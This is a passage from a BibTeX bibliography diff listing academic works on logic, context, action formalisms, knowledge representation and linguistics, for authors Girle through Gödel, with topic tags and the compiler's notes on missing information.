{Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {173--185}, + address = {Berlin}, + topic = {context;cognitive-psychology;} + } + +@article{ girle:1971a, + author = {Roderic A. Girle}, + title = {Quantification into Epistemic Contexts}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1971}, + volume = {17}, + number = {65--66}, + missinginfo = {A's 1st name, pages}, + topic = {epistemic-logic;quantifying-in-modality;} + } + +@article{ girle:2002a, + author = {Roderic A. Girle}, + title = {Review of {\it First Order Modal Logic}, + by {M}elvin {F}itting and {R}ichard {L}. {M}endelsohn}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {429--431}, + xref = {Review of: } , + topic = {modal-logic;} + } + +@incollection{ giuliani:1998a, + author = {Diego Giuliani and Daniele Falavigna and Renato de + Mori}, + title = {Parameter Transformation}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {123--139}, + address = {New York}, + topic = {speech-recognition;feature-selection;feature-extraction;} + } + +@incollection{ giuliani-demori:1998a, + author = {Diego Giuliani and Renato de Mori}, + title = {Speaker Adaptation}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {363--403}, + address = {New York}, + topic = {acoustic-model-adaptation;speech-recognition;} + } + +@inproceedings{ giunchiglia_e-lifschitz:1995a, + author = {Enrico Giunchiglia and Vladimir Lifschitz}, + title = {Dependent Fluents}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1964--1969}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {planning-formalisms;temporal-reasoning;} + } + +@incollection{ giunchiglia_e:1996a, + author = {Enrico Giunchiglia}, + title = {Determining Ramifications in the Situation Calculus}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {76--88}, + address = {San Francisco, California}, + topic = {kr;action-formalisms;ramification-problem;situation-calculus; + kr-course;} + } + +@article{ giunchiglia_e-etal:1997a, + author = {Enrico Giunchiglia and G. Neelakantan Kartha and Vladimir + Lifschitz}, + title = {Representing Action: Indeterminacy and Ramifications}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {2}, + pages = {409--438}, + topic = {action-formalisms;ramification-problem;nondeterministic-action;} + } + +@incollection{ giunchiglia_e-etal:1998a, + author = {Enrico Giunchiglia and Fausto Giunchiglia and + Roberto Sebastiani and Armando Tacchella}, + title = {More Evaluation of Decision Procedures for Modal + Logics}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {626--635}, + address = {San Francisco, California}, + topic = {kr;theorem-proving;modal-logic; + experiments-on-theorem-proving-algs;kr-course;} + } + +@inproceedings{ giunchiglia_e-lifschitz:1998a, + author = {Enrico Giunchiglia and Vladimir Lifschitz}, + title = {An Action Language Based on Causal Explanation}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {623--628}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {causality;explanation;action-formalisms;} + } + +@inproceedings{ giunchiglia_e-lifschitz:1999a, + author = {Enrico Giunchiglia and Vladimir Lifschitz}, + title = {Action Languages, Temporal Action Logics and + the Situation Calculus}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {33--40}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;temporal-reasoning;} + } + +@inproceedings{ giunchiglia_e:2000a, + author = {Enrico Giunchiglia}, + title = {Planning as Satisfiability with Expressive Action + Languages: Concurrency, Constraints, and Nondeterminism}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {657--666}, + topic = {planning-formalisms;concurrency;model-construction;} + } + +@techreport{ giunchiglia_f:1991a, + author = {Fausto Giunchiglia}, + title = {Contextual Reasoning}, + institution = {Istituto per la Ricerca Scientifica e Technoligica}, + number = {9211--20}, + year = {1992}, + address = {Trento, Italy}, + topic = {context;} + } + +@techreport{ giunchiglia_f-serafini:1991a, + author = {Fausto Giunchiglia and Luciano Serafini}, + title = {Multilanguage Hierarchical Logics}, + institution = {Istituto per la Ricerca Scientifica e Technoligica (IRST)}, + number = {9110--07}, + year = {1991}, + address = {Trento, Italy}, + topic = {context;logic-of-context;} + } + +@techreport{ giunchiglia_f-weyhrauch:1991a, + author = {Fausto Giunchiglia and Richard Weyhrauch}, + title = {A Multi-Context Monotonic Axiomatization of Inessential + Nonmonotonicity}, + institution = {Dipartimento Informatica Sistematica Telematica, + Universit\`a di Genova, Facult\`a di Ingegneria}, + number = {MRG/DIST 9105--02}, + month = {May}, + year = {1991}, + address = {Trento, Italy}, + topic = {context;non-monotonic-reasoning;logic-of-context;} + } + +@techreport{ giunchiglia_f:1992a, + author = {Fausto Giunchiglia}, + title = {Contextual Reasoning}, + institution = {Istituto per la Ricerca Scientifica e Technoligica}, + number = {9211--20}, + year = {1992}, + address = {Trento, Italy}, + topic = {context;} + } + +@techreport{ giunchiglia_f-etal:1992a, + author = {Fausto Giunchiglia and Enrico Giunchiglia and Tom Costello and + Paolo Bouquet}, + title = {Dealing With Expected and Unexpected Obstacles}, + institution = {Istituto per la Ricerca Scientifica e Technoligica}, + number = {9211--06}, + year = {1992}, + address = {Trento, Italy}, + topic = {plan-maintenance;} + } + +@techreport{ giunchiglia_f-etal:1992b1, + author = {Fausto Giunchiglia and Luciano Serafini and Enrico + Giunchiglia and Marcello Frixione}, + title = {Non-Omniscient Belief as Context-Based Reasoning}, + institution = {Istituto per la Ricerca Scientifica e Technoligica}, + number = {9206--03}, + year = {1992}, + address = {Trento, Italy}, + xref = {Conference publication IJCAI93: giunchiglia_f-etal:1993b2.}, + topic = {propositional-attitudes;context;hyperintensionality;} + } + +@article{ giunchiglia_f-walsh:1992a, + author = {Fausto Giunchiglia and Toby Walsh}, + title = {A Theory of Abstraction}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {57}, + number = {2--3}, + pages = {323--389}, + topic = {abstraction;context;} + } + +@article{ giunchiglia_f:1993a, + author = {Fausto Giunchiglia}, + title = {Contextual Reasoning}, + journal = {Epistemologica}, + year = {1993}, + volume = {16}, + pages = {345--364}, + note = {Also IRST-Technical Report 9211-20, IRST, Trento, Italy}, + topic = {context;} + } + +@inproceedings{ giunchiglia_f-etal:1993a, + author = {Fausto Giunchiglia and Luciano Serafini and Enrico + Giunchiglia and Marcello Frixione}, + title = {Non-Omniscient Belief as Context-Based Reasoning}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {548--553}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + xref = {giunchiglia_f-etal:1992b1.}, + topic = {propositional-attitudes;context;hyperintensionality;} + } + +@inproceedings{ giunchiglia_f-etal:1993b2, + author = {Fausto Giunchiglia and Luciano Serafini and Enrico + Giunchiglia and Marcello Frixione}, + title = {Non-Omniscient Belief as Context-Based Reasoning}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {548--554}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + xref = {Techreport: giunchiglia_f-etal:1993b1.}, + topic = {propositional-attitudes;context;hyperintensionality;} + } + +@techreport{ giunchiglia_f-serafini:1993a, + author = {Fausto Giunchiglia and Luciano Serafini}, + title = {On the Proof Theory of Hierarchical Meta-Logics}, + institution = {Istituto per la Ricerca Scientifica e Technoligica (IRST)}, + number = {9301--07}, + year = {1993}, + address = {Trento, Italy}, + topic = {metareasoning;} + } + +@techreport{ giunchiglia_f:1994a, + author = {Fausto Giunchiglia}, + title = {Planning With Failure}, + institution = {Istituto per la Ricerca Scientifica e Technoligica}, + number = {9401--02}, + year = {1994}, + address = {Trento, Italy}, + contentnote = {Review of J. Mccarthy's collected papers.}, + topic = {planning;execution-monitoring;} + } + +@techreport{ giunchiglia_f:1994b, + author = {Fausto Giunchiglia}, + title = {Reasoning about Theory Adequacy: A New Solution to the + Qualification Problem}, + institution = {Istituto per la Ricerca Scientifica e Technoligica}, + number = {9406--13}, + year = {1994}, + address = {Trento, Italy}, + topic = {qualification-problem;} + } + +@incollection{ giunchiglia_f-cimatti:1994a, + author = {Fausto Giunchiglia and Alessandro Cimatti}, + title = {Introspective Metatheoretic Reasoning}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {425--439}, + address = {Berlin}, + topic = {metareasoning;metaprogramming;} + } + +@article{ giunchiglia_f-serafini:1994a, + author = {Fausto Giunchiglia and Luciano Serafini}, + title = {Multilanguage Hierarchical Logics, or: How to Do without + Modal Logics}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {1}, + pages = {29--70}, + note = {Also IRST-Technical Report 9110-07, IRST, Trento, Italy}, + topic = {kr;context;propositional-attitudes;kr-course;} + } + +@techreport{ giunchiglia_f:1995a, + author = {Fausto Giunchiglia}, + title = {An Epistemological Science of Commonsense}, + institution = {Istituto per la Ricerca Scientifica e Technoligica}, + number = {9503--09}, + year = {1995}, + address = {Trento, Italy}, + xref = {Also in AIJ.}, + note = {Review of {\it {F}ormalizing Common Sense: Papers by + {J}ohn {M}c{C}arthy}.}, + topic = {common-sense-logicism;} + } + +@article{ giunchiglia_f:1995b, + author = {Fausto Giunchiglia}, + title = {Review of {\it {F}ormalizing Common Sense: Papers by + {J}ohn {M}c{C}arthy}}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {2}, + pages = {371--392}, + topic = {J-McCarthy;} + } + +@article{ giunchiglia_f-etal:1996a, + author = {Fausto Giunchiglia and Enrico Giunchiglia and Tom + Costello and Paolo Bouquet}, + title = {{D}ealing with Expected and Unexpected Obstacles}, + journal = {Journal of Experimental and Theoretical Artificial + Intelligence}, + volume = {8}, + year = {1996}, + note = {Also IRST-Technical Report 9211-06, IRST, Trento, Italy}, + topic = {context;} + } + +@incollection{ giunchiglia_f-sebastiani:1996a, + author = {Fausto Giunchiglia and Roberto Sebastiani}, + title = {A {SAT}-Based Decision Procedure for {ALC}}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {304--314}, + address = {San Francisco, California}, + topic = {kr;theorem-proving;taxonomic-logics;} + } + +@article{ giunchiglia_f-traverso:1996a, + author = {Fausto Giunchiglia and Paolo Traverso}, + title = {A Metatheory of Mechanized Object Theory}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {2}, + pages = {197--241}, + topic = {metareasoning;automatic-programming;} + } + +@incollection{ giunchiglia_f-bouquet:1997a, + author = {Fausto Giunchiglia and Paolo Bouquet}, + title = {{I}ntroduction to Contextual Reasoning. {A}n + {A}rtificial {I}ntelligence Perspective}, + booktitle = {Perspectives on Cognitive Science}, + publisher = {NBU Press}, + year = {1997}, + editor = {B.~Kokinov}, + volume = {3}, + address = {Sofia}, + note = {Lecture Notes of a course on {``Contextual Reasoning''} of the + European Summer School on Cognitive Science, Sofia, 1996}, + topic = {context;} + } + +@inproceedings{ giunchiglia_f-ghidini:1997a, + author = {Fausto Giunchiglia and Chiara Ghidini}, + title = {Local Models Semantics}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {58--64}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;logic-of-context;} + } + +@incollection{ giunchiglia_f-ghidini:1998a, + author = {Fausto Giunchiglia and Chiara Ghidini}, + title = {Local Models Semantics, or Contextual Reasoning $=$ + Locality$\,+\,$Compatibility}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {282--289}, + address = {San Francisco, California}, + xref = {Also IRST-Technical Report 9701-07, IRST, Trento, Italy}, + xref = {Journal Publication: ghidini-giunchiglia:2001a.}, + topic = {kr;context;epistemic-logic;propositional-attitudes; + reasoning-about-knowledge;kr-course;} + } + +@article{ giunchiglia_f-spalazzi:1999a, + author = {Fausto Giunchiglia and Luca Spalazzi}, + title = {Review of {\em {I}ntelligent Planning: A Decomposition + and Abstraction Based Approach to Classical Planning}, by + {Q}iang {Y}ang}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {111}, + number = {1--2}, + pages = {329--338}, + xref = {Review of yang_q:1997a.}, + topic = {planning;foundations-of-planning;situation-calculus;} + } + +@incollection{ giunchiglia_f-ghidini:2000a, + author = {Fausto Giunchiglia and Chiara Ghidini}, + title = {A Local Models Semantics for Propositional Attitudes}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {161--174}, + address = {Dordrecht}, + topic = {context;hyperintensionality;propositional-attitudes;} + } + +@article{ giuntini:1991a, + author = {Roberto Giuntini}, + title = {A Semantical Investigation on {B}rouer-{Z}adeh Logic}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {4}, + pages = {411--433}, + topic = {quantum-logic;} + } + +@incollection{ givan-mcallester:1992a, + author = {Robert Givan and David McAllester}, + title = {New Results on Local Inference Relations}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {403--412}, + address = {San Mateo, California}, + topic = {kr;theorem-proving;tractable-logics;} + } + +@article{ givan-etal:2000a, + author = {Robert Givan and Sonia Leach and Thomas Dean}, + title = {Bounded-Parameter {M}arkov Decision Processes}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {122}, + number = {1--2}, + pages = {71--109}, + topic = {Markov-decision-processes;} + } + +@article{ givant-andreka:2002a, + author = {Steven Givant and Hajnal Andr\'eka}, + title = {Groups and Algebras of Binary Relations}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {1}, + pages = {38--64}, + topic = {relation-algebras;} + } + +@book{ givon:1979a, + editor = {T. Giv\'on}, + title = {Syntax and Semantics 12: Discourse and Syntax}, + publisher = {Academic Press}, + year = {1979}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {discourse;pragmatics;} + } + +@book{ givon:1989a, + author = {T. Giv\'on}, + title = {Mind, Code, and Context}, + publisher = {Lawrence Erlbaum Associates}, + year = {1989}, + address = {Hillsdale, New Jersey}, + topic = {pragmatics;context;} + } + +@article{ gjelsvik:1991a, + author = {Olav Gjelsvik}, + title = {Dretske on Knowledge and Content}, + journal = {Synth\'ese}, + year = {1991}, + volume = {86}, + number = {3}, + pages = {425--441}, + topic = {agent-attitudes;philosophy-of-mind;} + } + +@book{ gladney:1983a, + author = {Frank Y. Gladney}, + title = {Handbook of {P}olish}, + publisher = {G\&G Press}, + year = {1983}, + address = {Urbana}, + ISBN = {0961219602.}, + topic = {Polish-language;reference-grammars;} + } + +@article{ glaister:2000a, + author = {Stephen Murray Glaister}, + title = {Recovery Recovered}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {2}, + pages = {171--206}, + topic = {belief-revision;} + } + +@article{ glannon:1995a, + author = {Walter Glannon}, + title = {Responsibility and the Principle of Possible Action}, + journal = {The Journal of Philosophy}, + year = {1995}, + volume = {92}, + number = {5}, + pages = {261--274}, + topic = {freedom;} + } + +@article{ glanzberg:2000a, + author = {Michael Glanzberg}, + title = {Review of {\it The Taming of the True}, by {N}eil {T}ennant}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {2}, + pages = {290--292}, + xref = {Review of tennant_n:1997a.}, + topic = {realism;} + } + +@article{ glanzberg:2001a, + author = {Michael Glanzberg}, + title = {Supervenience and Infinitary Logic}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {3}, + pages = {419--439}, + topic = {supervenience;infinitary-logic;} + } + +@article{ glasbey:1996a, + author = {Sheila Glasbey}, + title = {The Progressive: A Channel-Theoretic Analysis}, + journal = {Journal of Semantics}, + year = {1996}, + volume = {13}, + pages = {331--361}, + missinginfo = {number}, + topic = {tense-aspect;progressive;} + } + +@book{ glasgow-etal:1995a, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + title = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + 0. B. Chandrasekaran, Janice Glasgow and N. Hari Narayanan, + "Introduction" + 0'. Aaron Sloman, "Introduction (To Part {I}: Theoretical + Foundations") + 1. Aaron Sloman, "Musings on the Roles of Logical and + Non-Logical Representations in Intelligence" + 2. Brian Funt, "Problem Solving with Diagrammatic Representations" + 3. Jill Larkin and Herbert Simon, "Why a Diagram Is (Sometimes) + Worth 10000 Words" + 4. Robert Lindsay, "Imagery and Inference" + 5. Nancy Nercessian, "How Do Scientists Think? Capturing the + Dynamics of COncedptual Change in Science" + 6. Kenneth Forbus, "Qualitative Spatial Reasoning: Framework + and Frontiers" + 0'. Patrick Hayes, "Introduction (To Part {II}: Theoretical + Foundations)" + 7. Jon Barwise and John Etchemendy, "Heterogeneous Logic" + 8. David Harel, "On Visual Formalisms" + 9. Karen Myers and Kurt Konolige, "Reasoning with Analogical + Representations" + 10. Keith Stenning and Robert Inder and Irene Nelson, + "Applying Semantic Concepts to Analyzing Media and + Modalities" + 11. Dejuan Wang and John Lee and Henk Zeevat, "Reasoning + with Diagrammatic Representations" + 0''. David Waltz, "Introduction (To Part {III}: Cognitive and + Computational Models" + 12. Yulin Qin and Herbert Simon, "Imagery and Mental + Models in Problem Solving" + 13. Janice Glasgow and Dmitri Papadias, "Computational + Imagery" + 14. Erika Rogers, "Visual Interaction: A Link between + Perception and Problem Solving" + 15. N. Hari Narayanan and Masaki Suwa and Hiroshi Motoda, + "Behavior Hypothesis from Schematic Diagrams" + 16. Mary Hegarty, "Mental Animation: Inferring Motion from + Static Displays of Mechanical Systems" + 17. Kenenth Koedinger and John Anderson, "Abstract Planning + and Perceptual Chunks: Elements of Expertise in + Geometry" + 18. Christopher Habel and Simone Pribbenow and Geoffrey Simmons, + "Partonomies and Depictions: A Hybrid Approach" + 0'''. Yumi Iwasaka, "Introduction (To Part {IV}: Problem Solving + with Diagrams)" + 19. Francesco Gardin and Bernard Meltzer, "Analogical + Representations of Naive Physics" + 20. Timothy McDougal, "A Model of Interaction with Geometry + Diagrams" + 21. Shirley Tessler and Yumi Iwasaki and Kincho Law, + "Qualitative Structural Analysis Using Diagrammatic + Reasoning" + 22. Jo DeKuyper and Didier Keymeulen and Luc Steels, "A + Hybrid Architecture for Modeling Liquid Behavior" + 23. Gordon Novak, "Diagrams for Solving Physical Problems" + }, + topic = {diagrams;reasoning-with-diagrams; + cognitive-psychology;visual-reasoning;} + } + +@article{ gleitman:1990a, + author = {Lila Gleitman}, + title = {The Structural Sources of Verb Meanings}, + journal = {Language Acquisition}, + year = {1990}, + volume = {1}, + number = {1}, + pages = {3--55}, + topic = {L1-acquisition;semantics-acquisition;} + } + +@book{ gleitman-landau:1994a, + author = {Leila Gleitman and Barbara Landau}, + title = {The Acquisition of the Lexicon}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {word-acquisition;L1-acquisition;} + } + +@book{ gleitman-liberman:1995a, + editor = {Lila R. Gleitman and Mark Liberman}, + title = {Language: An Invitation to Cognitive Science, Vol. 1, + 2nd ed.}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {linguistics-general;} + } + +@article{ glennan:1997a, + author = {Stuart S. Glennan}, + title = {Probable Causes and the Distinction between Subjective + and Objective Chance}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {4}, + pages = {496--519}, + topic = {causality;chance;foundations-of-probability;} + } + +@article{ glennan:2002a, + author = {Stuart Glennan}, + title = {Contextual Unanimity and the Units of Selection Problem}, + journal = {Philosophy of Science}, + year = {2002}, + volume = {69}, + number = {1}, + pages = {118--}, + topic = {philosophy-of-biology;evolution;} + } + +@book{ glinz:1973a, + author = {Hans Glinz}, + title = {Textanalyse und Verstehenstheorie}, + publisher = {Athen\"aum}, + year = {1973}, + address = {Frankfurt}, + ISBN = {046503425X}, + topic = {discourse-analysis;} + } + +@incollection{ glouberman:1976a, + author = {M. Glouberman}, + title = {Prime Matter, Predication, and the Semantics of + Feature-Placing}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {75--104}, + address = {Dordrecht}, + topic = {predication;Aristotle;} + } + +@book{ gluck-rumelhart:1990a, + editor = {Mark A. Gluck and David E. Rumelhart}, + title = {Neuroscience and Connectionist Theory}, + publisher = {Lawrence Erlbaum Associates}, + year = {1990}, + address = {Hillsdale, New Jersey}, + ISBN = {0805805044}, + topic = {connectionism;neurocognition;} + } + +@article{ glymour:1985a, + author = {Clark Glymour}, + title = {Independence Assumptions and {B}ayesian Updating}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {1}, + pages = {95--99}, + topic = {probabilistivc-reasoning;Bayesian-reasoning;} + } + +@unpublished{ glymour-etal:1985a, + author = {Clark Glymour and Richard Sheines and Peter Spirtes}, + title = {Discovering Causal Structure: Text and User's Manual for + {\sc tetrad}}, + year = {1985}, + note = {Unpublished manuscript, Philosophy Department, Carnegie-Mellon + University}, + topic = {causality;induction;} + } + +@incollection{ glymour:1987a, + author = {Clark Glymour}, + title = {Android Epistemology and the Frame Problem: + Comments on {D}ennett's `Cognitive Wheels'\, } , + booktitle = {The Robot's Dilemma: The Frame Problem + in Artificial Intelligence}, + editor = {Zenon Pylyshyn}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + pages = {65--75}, + topic = {frame-problem;philosophy-AI;} + } + +@techreport{ glymour-etal:1987a, + author = {Clark Glymour and Kevin Kelly and Peter Spirtes}, + title = {The Expected Complexity of Problem Solving is Less + Than 2}, + institution = {Laboratory for Computational Linguistics, Carnegie + Mellon University}, + number = {CMU--LCL--87--6}, + year = {1987}, + address = {Pittsburgh}, + topic = {complexity-theory;problem-solving;} + } + +@incollection{ glymour:1988a, + author = {Clark Glymour}, + title = {Artificial Intelligence for Statistical and Causal Modelling}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {223--247}, + address = {Dordrecht}, + topic = {causality;statistical-explanation;statistical-inference;} + } + +@incollection{ glymour-etal:1991a, + author = {Clark Glymour and Kevin Kelley and Peter Spirtes}, + title = {Artificial Intelligence and Hard Problems: The Expected + Complexity of Problem Solving}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {105--128}, + address = {Cambridge, Massachusetts}, + topic = {complexity-in-AI;expected-complexity;} + } + +@incollection{ glymour:1996a, + author = {Clark Glymour}, + title = {The Adventures among the Asteroids of + {A}ngela {A}ndroid, Series 8400XF with an Afterword + on Planning, Prediction, Learning, the Frame Problem, + and a Few Other Subjects}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {25--34}, + address = {Norwood, New Jersey}, + topic = {frame-problem;philosophy-AI;} + } + +@article{ glymour:1999a, + author = {Clark Glymour}, + title = {A Mind is a Terrible Thing to Waste---Critical + Notice: Jaegwon Kim, {\it Mind in a Physical World: An + Essay on the Mind-Body Problem and Mental Causation}}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {3}, + pages = {455--471}, + xref = {Review of kim_jw:1998a.}, + topic = {mind-body-problem;causality;} + } + +@inproceedings{ gmystrasiewicz:1995a, + author = {Piotr Gmystrasiewicz}, + title = {On Rational Reasoning about Other Agents}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {68--74}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {distributed-AI;interpersonal-reasoning;game-theory; + decision-theory;} + } + +@inproceedings{ gmytrasiewicz-etal:1991a, + author = {Piotr J. Gmytrasiewicz and Edmund H. Durfee and David K. + Wehe}, + title = {The Utility of Communication in Coordinating Intelligent + Agents}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {166--172}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {discourse;coord-in-conversation;pragmatics;} + } + +@unpublished{ gmytrasiewicz-durfee:1993a, + author = {Piotr J. Gmytrasiewicz and Edmund H. Durfee}, + title = {Towards a Theory of Honesty and Trust among Communicating + Autonomous Agents}, + year = {1993}, + note = {Unpublished manuscript, AI Laboratory, University of + Michigan.}, + missinginfo = {Date is a guess.}, + topic = {multiagent-systems;communication-protocols;} + } + +@inproceedings{ gmytrasiewicz-durfee:1993b, + author = {Piotr J. Gmytrasiewicz and Edmund H. Durfee}, + title = {Elements of a Utilitarian Theory of Knowledge and Action}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {396--402}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {Oops -- I didn't copy last page.}, + topic = {agent-modeling;decision-theory;branching-time;} + } + +@incollection{ goad:1991a, + author = {Chris Goad}, + title = {Metaprogramming at Work in Automated Manufacturing}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {109--128}, + address = {San Diego}, + topic = {metaprogramming;} + } + +@article{ goble:1990a, + author = {Lou Goble}, + title = {A Logic of `Good', `Should', and `Would', Part {I}}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {2}, + pages = {169--199}, + topic = {deontic-logic;qualitative-utility;practical-reasoning; + evaluative-terms;} + } + +@article{ goble:1990b, + author = {Lou Goble}, + title = {A Logic of `Good', `Should', and `Would', Part {II}}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {3}, + pages = {252--276}, + topic = {deontic-logic;qualitative-utility;practical-reasoning; + evaluative-terms;} + } + +@incollection{ goble:1998a, + author = {Lou Goble}, + title = {Deontic Logic with Relevance}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {331--346}, + address = {Amsterdam}, + topic = {deontic-logic;relevance-logic;} + } + +@article{ goble:2000a, + author = {Lou Goble}, + title = {An Incomplete Relevant Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {1}, + pages = {103--119}, + topic = {relevance-logic;modal-logic;} + } + +@unpublished{ gochet:1975a, + author = {Paul Gochet}, + title = {A New Argument to Support {Q}uine's Inteterminacy Thesis}, + year = {1975}, + note = {Unpublished manuscript.}, + missinginfo = {Year is a guess.}, + topic = {indeterminacy-of-translation;} + } + +@article{ goddard_c:1998a, + author = {Cliff Goddard}, + title = {Bad Arguments against Semantic Primitives}, + journal = {Theoretical Linguistics}, + year = {1998}, + volume = {24}, + number = {2/3}, + pages = {129--156}, + topic = {semantic-primitives;foundations-of-semantics;} + } + +@article{ goddard_n:1993a, + author = {Nigel H. Goddard}, + title = {Review of {\it The Perception of Multiple Objects: A + Connectionist Approach}, by {M}ichael {C}. {M}ozer}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {1}, + pages = {165--177}, + xref = {Review of mozer:1991a.}, + topic = {connectionist-models;computer-vision;} + } + +@article{ godel:1931a, + author = {Kurt G\"odel}, + title = {\"{U}ber formal unentscheidbare {S}atze der {P}rincipia + {M}athematica und verwandter {S}ysteme {I}}, + journal = {{M}onatschefte fur {M}athematik und 